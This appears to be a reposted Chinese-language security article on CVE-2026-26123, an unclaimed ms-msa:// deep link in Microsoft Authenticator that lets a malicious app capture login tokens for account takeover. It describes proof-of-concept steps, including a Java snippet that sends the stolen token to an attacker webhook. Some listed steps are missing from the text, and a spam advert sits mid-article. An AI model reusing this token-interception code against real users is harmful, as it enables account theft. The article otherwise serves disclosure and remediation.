时间:26-04-25
安全防线最常被突破的环节,往往不是核心加密算法,而是那些被忽视的交互接口。近期被追踪为CVE-2026-26123的漏洞正是如此,它源于微软身份验证器中一个未被正确声明的ms-msa://深层链接。该漏洞现已修复,并遵循了标准的安全披露流程。
免费影视、动漫、音乐、游戏、小说资源长期稳定更新! 👉 点此立即查看 👈
这个深层链接本应用于安全引导用户完成登录或双因素认证设置。但由于缺乏正确的应用声明,它成为了一个开放的攻击面。
这一配置疏漏造成了连锁反应:任何恶意应用都能轻易拦截链接中传输的身份验证令牌。攻击者借此可完全绕过密码、双因素认证等所有安全层,实现彻底的账户接管。
想象一个标准的账户设置流程:你在网页端生成二维码,用手机摄像头扫描,并点击弹出的“打开链接”提示。这个看似无害的操作,却可能将你账户的完全控制权移交出去。
整个攻击过程对用户完全透明,没有任何异常提示。
Android的深层链接功能允许应用通过特定格式的URI直接打开其内部页面。你可以将其理解为应用的专属唤醒协议。
这类链接在日常应用中十分普遍:spotify://用于启动Spotify播放音乐,uber://用于唤起Uber应用。而ms-msa://本应专属指向微软身份验证器。
关键在于“本应”二字。
微软身份验证器在生成账户设置二维码时,会创建如下格式的深层链接:
ms-msa://code=M.C544_BL2.2.U.60e61ddd-1d08-127d-d783-bda9b7v&uaid=88498cfad78b4669aaec4b7a1c8&expires=3964722534
链接中的令牌价值极高,它等同于一个能绕过所有后续验证的万能凭证。
问题的核心在于:微软身份验证器应用本身并未在清单文件中正式声明对这个ms-msa://协议的所有权。
因此,当链接通过以下常规方式被触发时:
系统无法找到合法的处理应用。相反,用户设备上预先安装的恶意应用会默认接管此链接。
由于合法应用未声明所有权,任何应用都可以声明自己为ms-msa://的默认处理器。系统不会弹出应用选择器,恶意应用将直接、静默地获得控制权。
经测试,此漏洞在当时最新版本的Android、iOS系统及微软身份验证器上均有效。
创建一个用于演示的恶意应用极其简单:
步骤1:声明被遗弃的深层链接
在恶意应用的AndroidManifest.xml中添加以下意图过滤器:
步骤2:提取并外传身份令牌
应用被唤醒后,只需数行代码即可窃取关键数据:
Intent intent = getIntent();
Uri data = intent.getData();
String token = data.getQueryParameter("code");
// 将令牌发送至攻击者控制的服务器
sendToWebhook(token);
步骤3:实现账户接管
获取令牌后,攻击者即可:
受影响的微软服务范围极广:Outlook、Office 365、OneDrive、Teams、Skype及所有关联的微软服务。
攻击流程可系统化描述如下:
ms-msa://链接的二维码。这是一个具有实际危害的高危漏洞:
更危险的是,攻击所需的用户交互是受信任的标准操作(扫码),且恶意应用只需基础网络权限,极易通过应用商店审核。
根本解决方案是正确实施Android App Links。通过将特定域名下的HTTP链接与应用深度绑定,系统可确保链接仅由指定应用打开,从而杜绝协议劫持。
此案例凸显了基础安全配置的重要性。必须将应用内所有深层链接纳入常规安全审计范围,并对关键身份验证流程的链接强制实施应用链接验证。安全体系的强度往往取决于其最薄弱的一环。
该漏洞已获得CVE编号,并得到微软官方的修复。概念验证应用仅需网络权限,凸显了其低门槛和高危害性。
建议所有用户立即将微软身份验证器更新至最新版本。
原文参考:https://khaledsec.medium.com/e0409a920a02?sk=df506976e7c2d15fd29e70725873f6e2